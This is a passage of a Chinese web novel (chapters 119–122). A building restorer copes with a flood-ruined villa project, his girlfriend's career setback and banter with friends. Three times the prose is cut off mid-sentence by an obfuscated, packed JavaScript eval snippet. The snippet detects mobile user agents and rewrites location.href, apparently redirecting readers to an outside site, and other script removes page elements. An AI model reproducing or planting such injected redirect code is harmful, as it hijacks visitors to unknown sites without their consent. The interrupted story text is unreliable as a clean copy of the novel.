然而顾南乔提了一句‘他女朋友’,此刻,陆砚手里摩挲的书签变得沉重。 问心无愧是一回事,有没有必要,是另一回事。 见面的意义是什么? 是为了对方,还是为了自己心安? 陆砚打了个招呼准备出去。 “着急去哪?我送你。” “...” 是说刚才化妆干嘛......这姐们的嗅觉简直了。 涂上高饱和度的口红后,再度明艳的脸蛋,美貌不输任何人。 可不知为何,顾南乔来到旁边的时候,他被刺得挪开了眼—— 两人乘进电梯,目的地仍没决定。 “还不打电话问问前女友位置?” 他像被踩了尾巴的猫,瞬间应激: “什么跟什么啊?我准备去兜风的。” “一只手打着绷带也可以开车?” “肯定猜到你要来的呀!” 两人一路吵嘴到住院部停车场,外面的风捎来冬天将至的意思,吹着让人脖子一缩。 顾南乔躲在后面,推着他往前走。拿患者挡风,也不嫌损害德行。 边走还边戳脊梁骨: “是真心话吗?陆砚。想去送送人家也无可厚非的。” 男人老脸一红。 早知道昨天谈心的时候,把她落寞的表情录下来,此刻也好有点反击手段。 脑子里又想起杨灵。 他们相遇时的九月暖阳,顿时拨去心间荒芜——日子要往前看,必须辜负过往,也必须留着遗憾往下走。 口袋里,攥紧了书签,又不敢太用力: “啰啰嗦嗦,今天真是出来透气的,一会送我去老洋房看看。” “切——” 女人推着他来到车前,像抛弃没味的口香糖一样,顿时撒开手往车里钻。 ...... 车子驶入新华路,被雨洗过的洋房气色不错。 下车远远看望屋顶的瓦片,层层叠叠的青色,沿木构架的弧度铺展开,加之边缘青苔点缀,活像岱宗远山。 不由松了口气。 话说,工作群怎么消息都没一个,他伤了,但是其他人可以接着工作啊。 耽误一天,后面可得紧着忙咯! “顾乔乔,多久没来老洋房看你哥的江山了?刚认识那会你可是三天两头往这赶的。” “我哪知道老师傅请吃饭光点着关东煮请啊,所以懒得蹭了呗。” “别胡说,不是有过——” “陆哥。” 冯小军出现在门口。 “哟,小军哥,这么积极啊,辛苦啦!” 他还没忘记漆黑的夜晚,实习生是多么勇敢的在身边打灯。 以至于多年以后的某个酒局上,绝对可以把当时戏称为‘生死之交的夜晚’啊! 所以手机一会就带他去买吧。 不料冯小军听到以后,垂着头,久久没说话,像酒驾司机被交警逮了正着。 “怎么了?咱们顾姐这么吓人吗?” “关我什么事!现在少了只手,小心一会揍你!” 陆砚打量过去,按说不该呀。 出门她特地补了口红、描了眉,气色拉起来之后,属实赏心悦目的。 “怎么回事?” “......杨督查刚刚来过。” ...... 潮湿的霉味混着木头发胀的气息扑面。 一楼客厅的地板是三层厚的柚木拼花,此刻像被水泡发的海带,整片整片起翘,深褐色的木纹在积水里晕成模糊的涟漪,最高处的拱起几乎能卡住皮鞋跟。 一行人黑压压的走上楼梯。 红漆泡得发乌,走一步,就‘咯吱’从木头缝里挤出一滩水。 每个墙角都积成小小的水洼,映着天花板吊灯的影子晃荡。 领头的行政夹克打趣说道:“这情况,也不需要专家来看了。” 后面几人含蓄陪笑,杨灵低着头,一言不发。 泡水胀起的每块木板,都在记忆里备了案、封存,如今,全变样了。 “每个人都会犯错,高材生也不例外。要注意理论是理论,实践要多留心,以后小杨沉静下来做事还是没问题的。” 体制内从不说重话、狠话,没有十拿九稳绝不说确定的话。 但此次专家巡查的结果不言而喻。 杨灵真诚向众人道歉,辜负了领导的信任。 众人立马用官话套话安慰,场面比庆祝还热闹。 尽管专家多次组长表示‘情有可原’,但结果和事后的流程是绝对不会变的。 张野和冯小军站在一楼扶梯边上,他们也不知道该如何,只能静静等待。 “张师傅。” 专家团队没有停留,径直往外走去,杨灵留在后头对着两人说: “尽量把房子收尾工作完成。” “好,好的,我......” “辛苦了。” 杨灵说完,跟着人群驶离。 ...... 最怕水的物件恰好生活在水管爆开的房子里。 二楼墙角的裂口,开裂得更厉害了,几乎能看见里面压着的木头。那是他和杨灵在危房检测中,标志性的检验物件,也是两人化敌为友、结下缘分的地方。 还记得斜上方那根横梁木,杨灵说他检验的时候没有考虑地磁偏角,当时多么不服气,又不得不低头认下。她为此还发了朋友圈,配文‘误差0.49%’,如今都可以翻看到。 陆砚一路检查过去,被泡软的纹样,起皮的墙面,含水率超标的老木头...... 都曾被他们亲手触摸过、商议过、修补过。 如今,整栋房子像位浸在泪里的老人。 墙角的涡卷纹浮雕塌了一块,里面泛黄的麻丝纤维,那就是老人脱落的牙床。 他往前走,身后传来三道不同的脚步。 每踩出一个水坑,三道不同的脚步便踩出三处不同的水坑。 这是多么令人恼火的声音,比用指甲在崭新的黑板上划动,还要让人恶心。 最恶心的是,人总能从奇怪的地方找到力量,只要身旁还有一个人,陆砚便始终是陆师傅。 陆师傅的身份可不一般。 它要求着男人无时不刻,以乐观的姿态面对现实;勇于承担责任,鼓励众人继续走下去。 陆砚阴沉着脸,为了不让他们看见,始终领先一个身位走着。 “杨灵......走之前有没有说什么。” 他们开始下楼。 场上四人如今连落坐的地方也没有,这是陆砚不管多么乐观的态度、此刻多么故作轻松的嗓音,也无法消解的悲哀。 张野说:“她让我们把后续处理好......应该是排水之类的。” “好,晓得啦。” 老房子要安稳冬眠了。 气温低一点,可能要一百天才会有个干爽的状态。 排水流程?施工合同?安抚团队? 他都没考虑。 现在只想往外走......不,是往外逃。 “陆哥,我的。” ......是谁有如此厚重的肩膀揽锅? 哦,冯小军。 兜着颗没经历洗礼的稚嫩的心呐...... 可是真的稚嫩吗? 会不会是明知免责的情况下,假意担当呢? 世上哪有那么多以美德为目标的人,宁愿付出巨大代价、也要肩负责任。 嘿,也说不准。 毕竟他对代价有多重,还全然不知。 陆砚逃离的心达到了空前。 “没事,不怪你。先休息吧,后续我来处理。” 他快步往外走,头也没回。 第一百一十九章 梧桐落叶 橘子味的香氛很提神,它与七月份的阳光有某种联系,对缓解冬天的冰冷有帮助。 顾南乔身上也是橘子味的。 或许只有陆砚闻得到,甚至看得到。 它大抵是炽热的,却带着和煦温度,刚刚好捂住一颗微冷的心。 “脑子很乱吧?要不要去个安静的地方待着?” “好。” 车辆启动,路上开得平稳。 她十分理解生活被毁的感受,甚至在长期的痛苦中,学会了安慰。 安慰是个消耗很大的行为,需要把情绪挤一挤,提炼好几道,才能让自己亲和下来。 但安慰看起来不难,只需要一言不发,偶尔提供帮助、大部分时间在眼前消失,即可。 潮湿的阴天飘着厚重的云,临近中午,两人都有没吃饭的打算。 车子在静安别墅区旁边的梧桐大道停下。 这里因为靠近高档住宅区,所以安静,空旷。 同时也是上次,两人打闹和跳舞的地方。 “自己走走,还是我陪你。” “自己走。” “我们定个时间,到点了来找你。” “好。” 衣袖被拉住了,她靠过来,转而抓着手,说: “骗人吞一千根针、这辈子娶不到老婆,到点必须出现,知道吗?” 如果一个人强硬的告诉你‘要对自己好点’,想必再有自尊心的男人也不会觉得被冒犯。 ‘陆师傅’人格接着发力,他握着对方的担心,轻松道: “放心吧,男人没那么脆弱。” ...... 如果说老洋房情怀最重的是杨启文,经济命运关联最深的是陆砚,那么杨灵这边的打击,绝对更甚于两人。 情怀和经济问题可以默默忍受,十分头疼的是,自己的交叉实践随着老洋房项目的破产,彻底失败了。 这不仅意味着三个月的学业成果毁于一旦,返校二次申请其他项目,还极有可能没有自主选择权。 若真的如此...... 她开始动笔手写报告书,厚厚一叠报告写完还有自我检讨发言稿。 接下来几天,应该少不了几场研究会和报告讲座,毕竟是......特聘专家。 杨灵带着优秀的形象和学历光环,以不近人情的处事原则立于人前。 出现第一天起,就牢牢牵住众人目光,卷入了他们的框架体系。 她讨厌被人高高捧起,因为看到了将来,被重重摔下的结局。 可那群人就爱这么做。 特别是找到一个可以盛放欲望的载体以后,怀揣着恶心,高呼万岁。 朝圣般的目光中,憧憬着有朝一日,伺机占有、狠狠羞辱。 于是她冷着脸,尽管心里害怕,尽管条款背得滚瓜烂熟。 但他们人多势众,披着光鲜的外衣、长着唬弄的嘴、说着虚伪的话...... 嚼舌根的人哪里都有,唯独当事人面前不会有相关的话题。 并非背后的讨论少了,反而意味着大环境的人心鬼蜮,深不见底。 没有人愿意被拿来消遣,也没有完全不在意注视眼光的人,此刻杨灵迫切想回去看看,和他靠在一起,不说话也行。 陆砚...... 昨天,确认老洋房情况后,她第一时间就通知了杨启文。 此刻脑袋还回荡着安慰的言辞。 ‘没关系,百年老房经得住风雨,叔叔不会怪你的’。 与局里领导不同的是,老人的话更具有可信度,因为他是此次事件中实打实遭受了损失的甲方。 之前上一辈的恩怨在心里打着结,一直对名义上的叔叔不痛不痒。 这次,属实得承情。 因为他还顺带承诺,以后帮顾南乔介绍案子...... 发酸的肩膀,疲惫止不住上涌。 情怀、事业和学业三重受挫下,杨灵有点状态不佳。 她拨通了陆砚的电话。 ...... 正午,苍白的光线穿行过单薄的树梢。 风是干冷的,卷着满地梧桐叶往路牙子上堆。 叶子黄得发脆,边缘卷成波浪,来往的自行车碾过,碾出‘咔嚓’碎响,混着车轮碾过水洼的‘吱滋’声—— 梧桐大道在叹息。 哪里是安静的地方呢? 律师的嘴果然不能相信。 他往前走。 与方才的沉重不同,一个人的时候,才能勉强喘气。 心里是空的,又好像被什么东西填得满满当当,说不出具体是什么。 没有想念谁,也不是惦记未完成的事,就只是一种淡淡的沉,像喝了半杯温吞的茶,舌尖上留着点涩。 明明走的时候还好好的,为什么会到这般田地。 如果当时多呆一会,或者守夜之前多跟冯小军交代一些......现况,大概会像美梦甜蜜。 往后,该如何面对合同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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惆怅就这么冒出来。 它来的并不汹涌,是慢慢渗的,像雨水打湿了棉鞋,先是脚尖,然后是脚跟,最后整个脚底都凉透了,却不知道是哪一刻开始的。 没有想什么,又好像什么都想了。 风还在吹,叶子还在落,路还在往前伸。 或许走到路的尽头,这惆怅会像落叶一样被世界带走。 又或许,它会跟着他,走过这个十一月,走到下一场风里去。 第一百二十章 道路尽头 路的尽头有个广场,广场很小,甚至可以说是一块空地。 空地传来了歌声,他听不清,只是看着那道身影发呆......手拿吉他背对着,长发低垂,发梢被风吹得轻晃。 梧桐大道,是她吗? 如果是她,不知道‘陆师傅’还能不能出来救场——装作有收入时,那样底气十足。 唯有这个地方相遇,陆砚会毫不犹豫的想见她。 那段纯洁而热烈的岁月,不会被物质沾染,随世事变迁。 几度错过演出,理当好好送别。 他缓缓向前,口袋里,那枚书签似乎冥冥有感。 离得近了些,周围没什么人。 目光越过满地碎叶,落在广场中央那抹影子上。 能看见脚边放着琴盒,颜色深暗,和记忆里的一样。 “风吹落最后一片叶/我的心也飘着雪/爱只能往回忆里堆叠/Oh/给下个季节......” 晴天霹雳大概说的就是此刻。 陆砚嘴角抽了抽。 认错人是常有的事,失望便失望吧。 可为什么小丫头要出现在这里,大煞风景呢? “我了解/那些爱过的人/心是如何慢慢在凋谢/多想要向过去告别/当季节不停更迭/oh......” 苏棠的声音很伤感,但少女的稚嫩藏不住,是以,听起来很时尚、很流行。 就像小鲜肉扮演的将军,怒吼一声,‘我要**’,那样不具有严肃元素。 怎么会挑如此不适合她的歌? “哇!陆师傅!” “怎么着,失恋了?但是唱得很不走心啊。” 鹅黄针织衫外搭短款牛仔外套,居然不是平时的背带裤。 看来不管什么人,在不同场合都有不同形象示出。 听到病怏怏男人的话,她立马拨动琴弦回应道: “我唱这么走心/却走不进你心里/在人来人往/找寻着你/守护着你/不求结局。” 好一个现场互动,难怪有人喜欢往小众直播间跑,原是主播句句有回应啊。 “什么歌,没听过。” “周杰伦啊,周杰伦,没听过?!” “可能你没唱调上?” 苏棠撅着嘴,目光不停在陆砚挂着绷带的右手扫视,像个恼羞成怒准备付诸武力、却又掂不清几斤几两的大学生。 想了想还是作罢。 欺负老弱病残,战绩拿不出手。 “人家好心跟你打招呼,你个白嫖的还挑刺起来了!二维码看见没,快扫!” 指着脚下的琴盒,琴盒里放着一张被书压着的二维码。 目光跟过去,陆砚心间一颤,瞳孔放大。 凑近蹲下,盯着那本长篇厚度的书。 “这,这是谁给你的?” “是谁呢?刚刚谁来过,但是我想不起来咯?” 手指触碰书皮,指尖感受被摩挲得温润的弧度,仿佛可以看见,原主人常常抚摸这本书的画面。 深蓝色的布面封皮上,烫金的书名已经淡了些。 “干嘛!不打赏,还想拿我东西?” 无形的沙子在眼眶飘来飘去,陆砚闭了闭眼,强压下那抹悸动。 “......是啊,把书给我,不然这月工资不发了。” “你!” 苏棠握紧了拳头,本来她是想给的,真的。 哪有人要东西,上来就威胁起手的?还讲不讲道理了? “无良老板!奸商!我要举报你!” “你参加的是文保局的实习,举报我没用呀。再说了,老洋房肯定要停了,还有什么好怕的呢。” 右手打着绷带的男人笑容很得意,活脱脱一副无赖口吻,路人听见,准得以为下一刻要收保护费了。 然而话到这时,小姑娘心一紧。 挥着拳头,势必要让场面热闹起来,立马凶狠反击道: “那就跟杨老师告状!不但不给钱,还抢我东西!都什么世道了,光天化日之下仗着自己不要脸就能连嫖带拿的混社会啦,我跟你说......” 陆砚没管耳边叽喳飘过的句子,才想起,家里床底下的纸箱中,躺着这本书的后几部。 那会刚在一起,被逼着看书实在熬不住了,便恶作剧似的买回来,让她啃一啃号称及其无聊的意识流著作——追忆似水年华。 眼前这本,正是林晚声走的时候唯一带着的,和他有关的物件。 “......其实,它是我送出去的东西。” 被无视好一会的路边歌手丝毫不能共情,甚至觉得肚子饿了: “你送都送了,无权干涉别人转送。如果陆师傅......态度好点,我也不是不能给个机会的。” ...... 原来现在一份肯德基套餐只要29.9元。 据旁边涉世未深的流浪歌手说,操作得当的话,一日三餐加起来,29.9都够了。 现在阶段,这份情报可比任何安慰的话语有效多了。 “所以,你为什么要点69元的套餐?” “‘超值全家桶’,超值的!” 陆砚看着堆满快餐食品的桌上,一只白净却沾满了油的手不断扫过,意外觉得好笑。 笑点在哪呢? 人家只是懒得戴手套,吃相稍微生活化了些...... 哦,原来带孩子出来吃东西是这么回事啊。 “你干嘛蘸我番茄酱!” 吃我薯条可以,蘸我番茄酱酱不行。 苏棠吃东西很有原则的。 “......你看我像是能撕开袋子的人吗。” 看着男人打着绷带的右手,同情心也是上来了。 她拿起包装,用牙齿咬住,撕开——当场演示了一遍如何单手获得番茄酱。 “诺,给你,别蘸我的了。” 被牙齿咬开一道小口,上面疑似还沾了嘴上油渍的小包装袋,正被一只全是油的手递过来。 “呵......呵。” 陆砚惊奇的发现,自己居然不沮丧了,甚至状态好的不得了,几乎能手撕几个女大学生。 然而正当准备展示凶残的手段时,杨灵的电话打来了。 起身往外走,推开门,站在广场边缘。 看着手机,接听比以往都慢一些。 “灵灵。” “陆砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018361|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,群里的视频......你出院了吗?” “嗯。你吃饭了吗?” “还没,没有胃口。” 此时的杨灵,哪怕是突然打了个喷嚏,陆砚都会觉得跟他有关,从而联想到,是自己的错。 事实也正是如此,杨灵亦是老洋房的负责人,自己不经意间拖累了一大片人。 “灵灵,适当吃点,或者喝点什么。你有想吃的吗?晚上我帮你买回来。如何工作很忙的话,正好我有空,可以送饭的。” “没有哦......随便买点吧,今天我会按时回来。” 电话里的声音透着隐蔽的疲惫。 就像藏在棉衣里隐蔽的一根针,不细看压根察觉不了,但和自己紧贴着的时候,又会被刺痛。 被刺痛,是她的错吗? 不是。 是自己的心态失衡,是自己要克服的问题。 陆砚动用身上每一块肌肉,调动记忆里所有积极情绪,表达着: “辛苦啦,灵灵。但是千万不要让自己太累,你陆哥已经出院了,接下来放心吧,我会处理好的。” “嗯嗯,我相信你。” ...... 和苏棠提着打包袋往外走,又回到了广场中央,她的音响和话筒还在架在原地。 该说不说,对社会真的信任极了。 干燥的空气,落叶一踩就碎,和捏快递保护袋上的塑料气泡一样解压。 陆砚专挑着有落叶的地方走。 “.....晚声什么时候过来的?” “嗯——,你来的时候,我正在唱第二遍,她点的歌。” 原来是前后脚的关系...... 缘分散了,便散了吧。 有更重要的人,等着携手走下去。 一千个林晚声那也是过去式,现在,他只要一个杨灵。 “晓得了,你好好在这呆着吧,我先回了。” “喂——” 苏棠站在身后一步远,扬起的发丝遮住半边脸。 倘若此时,鹅黄针织衫换成白色连衣裙,他的眼睛肯定要被往事重重侵袭。 她拨开头发,蹲下拿起: “书送你吧,你的女朋友们对我太好,多少得匀你点......” 陆砚不知道她在说什么,下意识接过可以寄托此时全部情绪的物件。 调整完情绪刚要调侃,顾南乔电话。 “陆砚!你在哪!” 语速急促,情绪激动。 连带他的情绪也绷紧:“乔乔,别着急,位置发你了。” 分别的时候还好好的,她怎么了? 再没有多问,点开位置共享,在原地等待。 后面的吉他戛然而止,苏棠指尖扫了个滑音: “陆师傅,又不走啦?” “额......把打包袋给我,我有用。” “天哪!69元还连吃带拿,男人真大方啊!” “......你个小丫头,以后有机会准得揍你......”她嘴唇一动,陆砚就知道要说什么:”不准告状!” 很快,一辆粉色路虎风驰电掣赶来。 陆砚挥了挥手,跟苏棠道别,上了车。 第一百二十一章 姓顾的,姓陆的 她握着方向盘的手很用力,虎口紧绷,指甲几乎要嵌进纹路里。 经过路口时,后车按了声喇叭,惊得肩膀一缩,油门猛的被踩住,车子蹿出去,卡着黄灯通过。 窗外的风景因着速度而扭曲,显然,他们没有个明确目的地。 此时贸然开口可能吓着她,但不问自己又担惊受怕。 他语气轻得像根空中的羽毛: “乔乔?发生什么事了?” “......我,我不知道。我刚才回家......有人堵......我好像撞了人......” 声音发紧,尾音带着颤,她眼睛飞快地瞟了眼后视镜,又慌忙转回去看前方。 “我看了一眼,好像有辆车跟在后面......也可能是我看错了,”又飞快地补了句,像是在说服自己,“这条路人多,跟车很正常......” “别紧张。” “可我总觉得,那车开得特别慢,就像......就像在盯着我!” “千万别紧张!” “嘶——滋——” 一个大幅拐弯,轮胎嘶鸣,右手直接撞上车门。 瞬间,男人意识恍惚。 肾上腺素透过**细血管汇入静脉,再由心脏泵入动脉系统输送到全身,这过程在短短一秒内完成了大半。 下一刻,神经刺激和车外风景同时抵达大脑中枢,他用残存的理智控制喉咙——痛,不敢做声。 驾驶员还在开着车! 任何让气氛紧张的举动,都要忍着! 街道店铺化为一道道残影,他们穿过一个又一个路的尽头。 上车以前,原本心情沉重的陆砚,转为惊恐。 和现在的飞驰人生相比,甚至觉得,刚才的自己实在脆弱。 ...... 老金住院了,意料之中的结果。 上了年纪的人往往信点玄学。 所谓玄学便是,观察世界的方式与‘科学’不符。 有些老人认为,不相符就不相符,各家有各家的学问,没有谁高一等的说法。 而且经此一役,老金更相信玄学了些,因为烧窑最后几天他看见了乌鸦停在门口。 不管迁不迁徙,他笃定那是乌鸦,不可能是别的鸟。 不管祥瑞与否,他笃定那是不详,不可能发生好事。 然后窑口温度降下来以后,青砖出了,他病倒了。 一切都顺理成章。 邻居老甘过来以后,给陈禹打了电话,陈禹此刻就守在床边,大半天下来,两人没说过几句话。 ...... 两人绕着车,转了又转,摸了又摸,却独独对后备箱上明显的凹痕视而不见。 “没有血,也没有其他痕迹,你确定撞得很严重?” “当时,很响。” “根据你的描述,当时正在往前开,你是用后备箱把人撞飞了?棒球棒砸了那么深一个印子,那特么当然响啦!” 一路上顾南乔慌不择路,好在那地段偏僻,没闯到红灯,不然天知道要扣多少分。 “我哪里知道啊......” “亏你还律师!车子被人砸了不晓得**,反倒像欠......跑路了。” 好像确实是因为欠人钱,家门口才被堵着的。 路上兜了大半圈,她怕把人引到杨灵那边去了,于是此刻车子停在陆砚家楼下——也是没有办法的办法了。 “走啦,上去休息一下,正好我拿点衣服。” 劫后余生的人,应该会暴怒一场? 不不不,他再没有半点脾气,看什么都peace&love,且充满耐心。 拽着她,慢慢往楼上走。 “也是服了,刚才多危险你知不知道......” 不是严厉批评,甚至说话都有气无力。 腿软过后,是这样的。 二楼,两人是扶着楼梯走的。 怕她不稳,还特地牵着...... “咔哒!” 进门,不算昏暗的采光。 把木头似的顾南乔安置在沙发上。 拿来瓶装水,陆砚再没有精力顾及体面,一屁股坐她旁边,仰着头看天花板。 生命真是奇妙。 每每觉得撑不住的时候,总有事情能刷新韧性的下限。 身上依然战栗,依然后怕的心跳着,却在跳动中迸发了活着的实感。 想扭开瓶盖递给她,却发现一只手打着绷带,绷不住笑了——生命的喜悦。 倒是顾南乔自己把水打开,递了过来,说: “我可是生死关头都没忘记带你一起走,要记着这份情。” 陆砚想了想,逻辑说不通,但站她那边确实如此。 而且现在口头交锋什么的,还重要吗? 活下来了又有什么好较真呢。 “好,我记着了。” 她学着陆砚,躺着头往上仰,发丝几乎跑到旁边脸上,两人像战壕里的战友,默默感受此刻的余味。 良久,她说: “干脆我住你这得了,你和灵灵两个过二人世界去。” 陆砚一副求之不得的样子,却踹向旁边的腿: “不好吧,一个人多可怜。” “不可怜,现在一个人才好......你应该能理解我。” 确实能理解。 生活就像数学题,并不是人越多越好。 围着人、七零八落的讨论,反而会在错的路上狂奔不止。一旦并没有那么关心题目的人带头,说出去玩,众人就一窝蜂散了去。 情况好点,留下烂摊子自己收拾;情况差点,丢下题目也跟着出去了。 有的坎,只能自己面对,独自迈过。 自己何尝不是如此。 说着不切实际的话,装作信心满满的模样,仿佛问题会被气势吓跑似的。 项目烂尾是因为一两句鼓励,就可以嘻嘻哈哈皆大欢喜的吗? 还有杨灵那边,曾经信誓旦旦保证的,‘老师傅靠得住、老洋房会变成他们期待的样子’,终究一场空。 他,其实也有点......不愿意回到那栋无数人梦寐以求住进去的奢华房子...... 头发丝划过耳边,荡开玫瑰与牡丹揉碎的芬芳,思绪回到现在。 侧头看去,她依然望着天花板,像没有灵魂的木偶。 踢了踢,没反应。 好吧,当另一个人比你更消沉的时候,心里居然轻松了不少。 或许这就是,愿意和她呆一块的原因? “顾乔乔!吃肯德基不?专门给你买的。” 转过头,两人视线不经意在空间相撞,产生勾连。 那是一双写满不安的眼睛,既疲惫,又无助,看不到半点熟悉模样,仿佛置身阳光透不进来的山林。 那不是她,至少不是他印象中的她...... 人生列车变轨竟然如此之快,朝夕相处的人也驶向了不同,难逃生活的刻刀。 果真如此的话,陆砚当然要献上祝福。 可是,对方真的在前进、在变好吗? “别躲避了,朋友。” “......你其实也想找个地方躲避吧。” 呼吸打在脸上,娇艳的唇就在眼前。 她突然产生了巨大的吸引力,就像一个安心的怀抱,凑上去,紧紧相拥,把对方揉进怀里,就能得到安慰。 喉结动了动,陆砚挪开了一截空间: “你瞧瞧,瞧瞧你说的什么话?我怎么可能想躲?那么好的房子,那么漂亮的女朋友,我躲什么呀!” “......其实偶尔,讨厌身边的人也很正常,我以前还经常讨厌自己的父亲呢。” 话语偏冷,打消了旖旎的漩涡。 两人眼睛再次对上,陆砚认真了些,问道: “行,身边的人是吧?可以讨厌。但是我又哪得罪你了?” “我在说灵灵。” 声音带着幽怨,又有些蛊惑,听得让人发毛。 她在说什么? 不是,完全理解不了啊,话题跟杨灵有什么关系? 你比杨灵还记仇的吗? 陆砚懵掉的时候,声音又说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以前他一直觉得自己是阳光开朗大男孩,如今......不论如何,两人的友谊是真的! 再次往旁边拉开,转移话题道: “作为你今天仗义的报酬,钥匙给你,有空去配一把,杨灵家呆不下的时候可以过来。” 不想她眼睛瞪得大大的,撑着身子也往后靠: “你才多少收入啊,就想养个小三?” 姿势夸张,表情动人。 此刻的顾南乔,身上仿佛又多了份阳光晒过的明媚。 因此陆砚狠狠开骂: “给脸不要脸,刚刚自己叫得欢,现在成全了又不乐意!你说你这人是不是有毛病,坏事扛不住了往好朋友身上推,有人帮一把还倒打一耙。你简直是全体女人的反面教材,内心阴暗得配不上这张脸!” 骂着骂着,目光越发温柔。 对方不甘示弱,掐着他的脖子说: “我也不知道人怎么会变成这样嘛!谁不想当个好人,谁不想天天做点好事,但是好人没好报啊!你看我,刚被好人帮了就暗戳戳想着倒打一耙......这个世界太恶心啦!都怪你!” 陆砚被她按在沙发上,肩膀很痛,心里却在疼痛中得到了慰藉。 一只手同样放在她肩膀上: “这个傻吊台风太恶心了,姓顾的,都怪你!” “为什么要给我安排这样的剧本,让我又拧巴又难受,姓陆的,都怪你!” “为什么每每距离幸福一步之遥,都要突发转折,姓顾的,是不是你从中作梗!” 她大惊失色道: “喂!你个混蛋,不会是真心话吧!” 陆砚瞬间出戏。 看着那张含泪却迟迟没落下的脸,傻傻的笑。 已经很久,没有这样笑过了。 第一百二十二章 爱?补偿? 他与顾南乔互掐脖子,始终保持着纯洁的吵架关系,就是被杨灵看见了也毫无负担。 发泄之后,心情彻底好了。 此刻,回到那间两个人都想逃避的房子,进门的时候不约而同向对方投去鄙视的目光—— ‘嫌弃是你说的,真让你搬走又不乐意!又当又立?’ 陆砚那眼神里的轻慢像根鹅毛,搔得人心里发慌偏又带着杀伤力——明明没说一个字,顾南乔却先矮了三分,输得明明白白。“你神气什么!”她恼羞成怒,瞅准他胳膊上缠着绷带的地方,卯着劲追上去捶打。 两人在客厅里绕着沙发疯跑,拖鞋蹭过地板发出‘啪嗒啪嗒’的响,倒跑出几分田野里追蝴蝶的疯劲,闹得空气里都是轻快的风。 终于...... 跑不动了,双双瘫在地毯上大口喘气。 顾南乔蜷在东头,陆砚歪在西头,中间隔着大半个客厅的距离,眼神一对上就各自往旁边瞥,大有老死不相往来的意思。 之所以如此,全因刚才那出—— 某人仗着自己是律师,想在受伤的陆砚面前占点口头便宜,没成想被他伸手按着后颈,半跪在地摊上讨饶,连额前的碎发都乱了,这下子是彻底丢了面子。 “去把菜热一下呀!一动不动,真成软饭男啦?” “反弹。” “我是女的!你就不知道多承担一点责任吗!” 隔着沙发,嚷嚷声翻山越岭跑到男人耳朵里,却注定无功而返。 “脸呢?我挂着绷带,你还要阴戳戳地上来偷袭,没讨到好还闹脾气......” “一码归一码,我是借题发挥的人吗!” “你要么承认借题发挥,要么就不是人。” “...” 百无聊赖的冷战过程中,他们合力把买来的饭菜放盘里装好,放进微波炉加热。 天色渐暗,杨灵回来了。 顾南乔几乎是和机械提示音同时弹起来的,像只等主人回家的小狗,冲过去。门刚开条缝,她就踮脚扑上去,胳膊环住杨灵的脖子晃了晃:“亲爱的,你可算回来啦!”声音里还带着点刚才打闹没散的雀跃。“我回来了,乔乔。”杨灵笑着拍她后背,刚要说话,腰就被另一股力道圈住。 陆砚从旁边探出头,下巴搁在杨灵肩上:“辛苦啦,女朋友。” “嗯嗯,你们......这是怎么了?” 杨灵被两人一左一右夹着,意外又惊喜。 顾南乔抢先捏了捏她的脸颊:“想你了呗。” ...... 工程学院学生街内的某小饭馆,张野和冯小军坐在外面的小方桌上,陷入了僵持。 “喝点吧,喝了就好了。” “张哥,我真......” 人的身上有各个穴位,名叫‘痛苦’的穴位被按压实了、长久折磨下,就感受不到痛苦。可还有其它穴位在,当新的穴位被按住时,第二波痛苦又会来临。 冯小军这几天很懊悔,懊悔完了便开始自责、茫然,甚至有点怨恨。 只是那点怨恨是绝对不可以吐露、绝对不能与人道出的秘密。 他从众人的反应,知道老洋房项目应该百分之百告吹了,但没想到今天跟着张师傅转了一圈,又开始了熟悉的环节。 喝酒......吗? 恨的就是喝酒! “张哥,我不想喝了。我觉得那像自我麻痹。” 张野的眼眶深了不少,短短的寸头,上面蒙了层灰,活像几天没洗澡。 听了冯小军的话,立马露出不悦的表情: “小军啊,喝酒只是消遣,该做的事情我们还是会做,明天该去老洋房还是会去,哪里是逃避呢?你看看,那么多人喝酒,都是逃避吗?我们几千年的酒文化,不是那么简单的!” 他开了一瓶啤酒,不由分说递过去,又叫老板加了点烤串。 今天自然不会轮到冯小军请客,可也正是因为他是‘占便宜’的一方,多重压力下,不得不接过那瓶酒。 “对了嘛!”举杯子,主动碰过去:“不工作的时候就要喝点,人生没有过不去的坎。” “是,是的。” 上海的十一月不冷,街边的生意火热。 冯小军看着穿流如织的学生,每经过一群,耳朵便会传来一两句‘欢声笑语’。 不管是‘那傻叉老师又扣我平时分’、‘新说唱绝壁有黑幕’,还是‘水课无意义’、‘大学真浪费青春’,在他眼里,全是带着生命力的欢声笑语。 明明还未走出校园,却已然无法共情......全都是经历使然! 他觉得自己在苦痛中迅速成长着! “小军啊,喝啊!喝酒就是男人重要的事情。” 眼前男人的话将思绪拉了回来。 口里喊着号子,仿佛有某种信仰支持着动作。 “好的,张哥,我干了!” 现实的讽刺就在于,思想深邃的同时,丝毫影响事情走向。 他不想喝,却还是喝了。 到了实在熬不住的节点,张野掏出一部新手机递了过去。 他不想喝,却喝醉了。 ...... “灵灵,力道轻了重了?” “很好的。” 饭后,顾南乔在后面按肩,膝盖顶着她的腰窝,热情洋溢得不行了——比‘杨灵认错’还积极主动。 而且乍看起来技术不赖,指尖先在上方轻轻点过,像在确认穴位位置,随即用指腹下压,微微酸疼的感觉升起。 